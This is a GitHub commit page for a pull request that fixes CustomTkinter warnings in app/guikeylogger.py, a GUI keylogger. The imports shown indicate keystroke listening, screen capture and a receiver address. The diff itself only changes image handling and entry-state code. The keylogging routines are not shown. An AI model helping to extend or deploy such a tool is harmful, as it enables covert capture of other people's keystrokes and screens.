Skip to content

Commit 3fd5947

Browse files
Merge pull request #25 from mukeshdhadhariya/main
fix(ui): resolve CTkLabel image warning and CTkEntry state access
2 parents 1f4ad60 + 3ac4d52 commit 3fd5947

File tree

1 file changed

+8
-5
lines changed

1 file changed

+8
-5
lines changed

app/guikeylogger.py

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@
1616
from urllib.request import urlopen
1717

1818
from PIL import ImageGrab, Image, ImageTk
19-
from customtkinter import CTk, CTkLabel, CTkFrame, CTkEntry, CTkButton, set_appearance_mode
19+
from customtkinter import CTk, CTkLabel, CTkFrame, CTkEntry, CTkButton, set_appearance_mode, CTkImage
2020
from dotenv import load_dotenv
2121
from pynput.keyboard import Listener
2222

@@ -172,11 +172,14 @@ def start_logger():
172172
def on_button_click():
173173
global state, toAddr, listener, stopFlag, receiver_entry, btnStr
174174
toAddr = receiver_entry.get()
175-
if receiver_entry['state'] == 'normal':
176-
receiver_entry['state'] = 'disabled'
175+
176+
current_state = receiver_entry.cget("state")
177+
178+
if current_state == 'normal':
179+
receiver_entry.configure(state="disabled")
177180
btnStr.set("Starting...")
178181
else:
179-
receiver_entry['state'] = 'normal'
182+
receiver_entry.configure(state="normal")
180183
btnStr.set("Stopping...")
181184
if state == 0:
182185
state = 1
@@ -212,7 +215,7 @@ def on_button_click():
212215
# Display an image
213216
image = Image.open('cracking.png')
214217
resize_image = image.resize((300, 300))
215-
img = ImageTk.PhotoImage(resize_image)
218+
img = CTkImage(light_image=resize_image, size=(240, 240))
216219
icon = CTkLabel(main_frame, image=img, text="")
217220
icon.pack(pady=(20, 0))
218221

0 commit comments

Comments
 (0)